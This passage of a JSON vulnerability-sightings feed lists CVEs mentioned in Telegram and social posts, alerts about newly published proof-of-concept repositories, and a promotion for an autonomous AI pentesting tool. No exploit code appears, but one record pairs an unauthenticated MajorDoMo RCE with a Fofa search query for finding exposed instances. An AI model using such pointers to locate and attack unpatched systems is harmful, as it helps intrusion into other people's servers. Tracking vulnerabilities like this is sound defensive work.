Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:20.299286Z"}, {"uuid": "dd98ef1b-13c2-43a6-90ca-b54fbf411463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:44.662852Z"}, {"uuid": "405fac32-0208-496d-9ecf-816c59557700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:45.284620Z"}, {"uuid": "5917a676-8029-4c1b-9fcd-74eacdd24691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:44.935116Z"}, {"uuid": "b62f25c3-f8c2-48ea-9894-e8723fbaa828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-30T00:00:44.847421Z"}, {"uuid": "42e4092c-984b-4264-9aa2-bf4f2b9ed678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:24.503622Z"}, {"uuid": "3cdf50c1-9769-453c-ac49-eebdb0067b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:24.953101Z"}, {"uuid": "f9bc423a-75cb-4ed6-a7c0-ded3068eafed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:25.054891Z"}, {"uuid": "3b645d20-ddc4-44c0-9609-8c3856760430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-31T00:00:25.432033Z"}, {"uuid": "78b67810-3d5e-4bf3-9b19-8a8d89b684e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://t.me/CyberDispatch/1534", "content": "Critical MajorDoMo RCE (CVE-2026-27174): Unauthenticated Remote Code Execution Analysis.", "creation_timestamp": "2026-08-31T00:00:36.454648Z"}, {"uuid": "b75f4c4d-7e00-4419-8ce3-b035f64d1a27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27472", "type": "seen", "source": "https://t.me/GithubRedTeam/100615", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27472-and-CVE-2026-27474\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:37:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27472 and CVE-2026-27474\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-01T12:00:05.647366Z"}, {"uuid": "ebd535b3-8884-478c-b397-89a9d7b96327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "seen", "source": "https://t.me/GithubRedTeam/100631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27475\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:24:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27475\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-01T12:00:05.757755Z"}, {"uuid": "daa6f99a-ccae-4115-a1b3-2bfe2b77677e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27474", "type": "seen", "source": "https://t.me/GithubRedTeam/100615", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27472-and-CVE-2026-27474\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:37:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27472 and CVE-2026-27474\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-01T12:00:05.805823Z"}, {"uuid": "291d5216-54f4-49df-a068-8ac0cffaa65c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27179", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/4", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-09-01T13:00:05.887080Z"}, {"uuid": "d1015947-8c47-490d-a99d-36d451a9ee1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/14", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944", "creation_timestamp": "2026-09-01T13:00:05.946250Z"}, {"uuid": "768a1f88-48d4-4b50-8685-cf35eb42b2ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/4", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-09-01T13:00:05.973485Z"}, {"uuid": "bcd4d8e8-5b6f-4f71-8b74-5865d1546147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-02T01:00:04.766547Z"}, {"uuid": "ecb6c9c2-761a-4e32-90e7-737bb31e46d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27474", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-02T01:00:04.867761Z"}, {"uuid": "b9386c38-1c33-4e54-8742-dca74533e277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27606", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mui3llwb2t2y", "content": "CVE-2026-27606 - rollup\nIf you use Rollup version 4, an attacker could potentially write to any file on your computer that your build process has access to. This could allow them to take control of\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rollup #GitHubActions #npm #CVE #infosec", "creation_timestamp": "2026-09-01T18:50:07.639400Z"}, {"uuid": "0254127b-9fae-49ed-abab-8c3e1115df66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "seen", "source": "https://t.me/hacking_Attack/180202", "content": "Continue reading on Medium \u00bb (https://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.152408Z"}, {"uuid": "b1d21a47-416b-43c5-8195-c47332603e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "seen", "source": "https://t.me/hacking_Attack/180200", "content": "How I found CVE-2026\u201327161 (Sensitive Disclosure) | Cyber Tamarin\nhttps://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:13.457353Z"}, {"uuid": "3a575ef0-b36e-455a-b6ad-17051ecc238b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27472", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-02T01:00:04.576688Z"}, {"uuid": "925346de-58b6-43a6-a638-550f36f5f760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "seen", "source": "https://t.me/hacking_Attack/180200", "content": "How I found CVE-2026\u201327161 (Sensitive Disclosure) | Cyber Tamarin\nhttps://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:31.319213Z"}, {"uuid": "88afce7e-c6d6-4ee1-950e-5fc3cadfcdbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27161", "type": "seen", "source": "https://t.me/hacking_Attack/180202", "content": "Continue reading on Medium \u00bb (https://cybertamarin.medium.com/how-i-found-cve-2026-27161-sensitive-disclosure-cyber-tamarin-9b2e62dac238?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:30.981544Z"}, {"uuid": "00262b93-568d-43a8-a548-9dd971b96eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27475", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27475\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:24:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27475\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T01:05:08.405870Z"}, {"uuid": "823ed337-985b-457b-8f22-e74506a486b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27179", "type": "published-proof-of-concept", "source": "https://t.me/p3Nt3st3rsTAr/4", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-09-02T01:05:06.579399Z"}, {"uuid": "f2ac334c-0cc3-4024-b01e-80dc3fb9ac21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/p3Nt3st3rsTAr/14", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944", "creation_timestamp": "2026-09-02T01:05:06.032076Z"}, {"uuid": "add9f4dc-57b3-453f-8096-b596c403f005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "published-proof-of-concept", "source": "https://t.me/p3Nt3st3rsTAr/4", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-27174\n\nFofa : \"MajorDoMo\"", "creation_timestamp": "2026-09-02T01:05:06.529519Z"}, {"uuid": "9bfa4209-6d5b-4c82-affc-1e0ef54e3d1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27474", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100615", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27472-and-CVE-2026-27474\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:37:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27472 and CVE-2026-27474\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T01:05:08.503468Z"}, {"uuid": "c9072228-90c4-469d-999d-f88035f3a527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27472", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100615", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27472-and-CVE-2026-27474\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Trachinus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 09:37:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-27472 and CVE-2026-27474\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T01:05:08.554063Z"}, {"uuid": "a8379619-e926-4c2a-a765-0b8046296e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/48245", "content": "https://github.com/Semperis-Community/ResetNightmare\n\nProof-of-concept (POC) tool for ResetNightmare (CVE-2026-27912).\n\n#github #poc", "creation_timestamp": "2026-09-02T06:00:05.719674Z"}, {"uuid": "04fca311-6612-4ee9-8481-4d7007c2cf52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27471", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/45642", "content": "\ud83d\udc30 BugBunny AI \u2014 tested it. Actually insane.\n\nAutonomous AI agents that run full pentests \u2014 recon, exploitation, PoC validation \u2014 zero human input.\n\nWhat it does:\n\u2705 Maps your full attack surface\n\u2705 Finds SQLi, XSS, RCE, SSRF, IDOR, Auth Bypass & more\n\u2705 Validates every finding with a working exploit (no false positives)\n\u2705 Generates audit-ready reports with CVSS scores\n\u2705 Reviews Pull Requests & suggests inline fixes\n\nReal CVEs dropped:\n\ud83d\udd34 CVE-2026-33016 \u2014 ShareX RCE\n\ud83d\udd34 CVE-2025-61622 \u2014 Apache Fory Python RCE \u00b7 9.8\n\ud83d\udd34 CVE-2025-58434 \u2014 Flowise.ai Full ATO \u00b7 9.8\n\ud83d\udd34 CVE-2026-27471 \u2014 ERPNext Unauth Data Access \u00b7 9.1\n\ud83d\udd34 CVE-2026-22807 \u2014 vLLM RCE \u00b7 8.8\n\ud83d\udd34 CVE-2025-59057 \u2014 React Router Stored XSS \u00b7 7.6\n\nAlso found 5 RCEs in Google Gemini CLI  accepted by Google VRP.\nTargets hit: Google, Meta, Microsoft, 